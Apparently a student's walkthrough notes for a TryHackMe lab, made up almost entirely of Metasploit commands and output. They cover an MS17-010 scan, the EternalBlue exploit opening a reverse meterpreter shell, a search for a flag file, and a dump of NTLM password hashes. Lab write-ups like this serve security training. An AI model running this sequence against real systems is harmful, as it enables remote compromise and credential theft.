msfconsole

In kali:
systemctl start postgresql
systemctl status postgresql
msfdb init
msfconsole
db_status
workspace
workspace -a [NEWWORKSPACENAME]
workspace -d [WORKSPACEYOUWANTOTDELETE]

How to check for Eternal Blue vulnerability:

```
msf6 > use 42
msf6 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 10.10.25.114
rhosts ⇒ 10.10.25.114
msf6 auxiliary(scanner/smb/smb_ms17_010) > start
[-] Unknown command: start
msf6 auxiliary(scanner/smb/smb_ms17_010) > exploit

[+] 10.10.25.114:445      - Host is likely VULNERABLE to MS17-010! - Windows 7 Profe
ssional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.25.114:445      - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/smb/smb_ms17_010) > back
```

```
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/smb/smb_ms17_010) > back
msf6 > search 17_010

Matching Modules
================

   #  Name                                      Disclosure Date  Rank     Check  Des
cription
   -  ----                                      ---------------  ----     -----  ---
-------
   0  exploit/windows/smb/ms17_010_eternalblue  2017-03-14       average  Yes    MS1
7-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   1  exploit/windows/smb/ms17_010_psexec       2017-03-14       normal   Yes    MS1
7-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Executio
n
   2  auxiliary/admin/smb/ms17_010_command      2017-03-14       normal   No     MS1
7-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execu
tion
   3  auxiliary/scanner/smb/smb_ms17_010                         normal   No     MS1
7-010 SMB RCE Detection
```

```
msf6 > use 0
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   RHOSTS                          yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT          445              yes       The target port (TCP)
   SMBDomain                       no        (Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
   SMBPass                         no        (Optional) The password for the specified username
   SMBUser                         no        (Optional) The username to authenticate as
   VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
   VERIFY_TARGET  true             yes       Check if remote OS matches exploit Ta
```

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 10.10.25.114
rhosts ⇒ 10.10.25.114
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit

[*] Started reverse TCP handler on 10.10.186.122:4444
[*] 10.10.25.114:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.25.114:445      - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.25.114:445      - Scanned 1 of 1 hosts (100% complete)
[+] 10.10.25.114:445 - The target is vulnerable.
[*] 10.10.25.114:445 - Connecting to target for exploitation.
[+] 10.10.25.114:445 - Connection established for exploitation.
[+] 10.10.25.114:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.25.114:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.25.114:445 - 0×00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] 10.10.25.114:445 - 0×00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
[*] 10.10.25.114:445 - 0×00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1
[+] 10.10.25.114:445 - Target arch selected valid for arch indicated by DCE/RPC reply
```

```
meterpreter > dir
Listing: C:\Windows\system32
============================

Mode              Size      Type  Last modified              Name
----              ----      ----  -------------              ----
040777/rwxrwxrwx  0         dir   2011-04-12 08:17:52 +000   0409
                                  0
100666/rw-rw-rw-  16848     fil   2019-03-17 22:39:13 +000   7B296FB0-376B-497e-B012-9C450E1B7327-5P-0.C7483456-A289-439d-8115-601632D005A0
                                  0
100666/rw-rw-rw-  16848     fil   2019-03-17 22:39:13 +000   7B296FB0-376B-497e-B012-9C450E1B7327-5P-1.C7483456-A289-439d-8115-601632D005A0
                                  0
100666/rw-rw-rw-  39424     fil   2009-07-14 01:24:45 +000   ACCTRES.dll
                                  0
100777/rwxrwxrwx  24064     fil   2009-07-14 01:38:55 +000   ARP.EXE
                                  0
100666/rw-rw-rw-  499712    fil   2009-07-14 01:41:53 +000   AUDIOKSE.dll
                                  0
100666/rw-rw-rw-  780800    fil   2010-11-21 03:24:49 +000   ActionCenter.dll
                                  0
100666/rw-rw-rw-  549888    fil   2010-11-21 03:24:49 +000   ActionCenterCPL.dll
                                  0
```

After popping the shell, search for files:

```
meterpreter > search -f flag.txt
Found 1 result...
================

Path                              Size (bytes)  Modified (UTC)
----                              ------------  --------------
c:\Users\Jon\Documents\flag.txt   15            2021-07-15 02:39:25 +0000
```

Reading the contents of file:

```
meterpreter > cat flag.txt
THM-5455554845
```

Dumping NTLM hashes of users:

```
meterpreter > run post/windows/gather/smart_hashdump

[*] Running module against JON-PC
[*] Hashes will be saved to the database if one is connected.
[+] Hashes will be saved in loot in JtR password file format to:
[*] /root/.msf4/loot/20230110130443_tryhackme_10.10.25.114_windows.hashes_970476.txt
[*] Dumping password hashes ...
[*] Running as SYSTEM extracting hashes from registry
[*]     Obtaining the boot key ...
[*]     Calculating the hboot key using SYSKEY 55bd17830e678f18a3110daf2c17d4c7 ...
[*]     Obtaining the user list and keys ...
[*]     Decrypting user keys ...
[*]     Dumping password hints ...
[*]     No users with password hints on this system
[*]     Dumping password hashes ...
[+]     Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e
0c089c0:::
[+]     pirate:1001:aad3b435b51404eeaad3b435b51404ee:8ce9a3ebd1647fcc5e04025019f4b87
5:::
```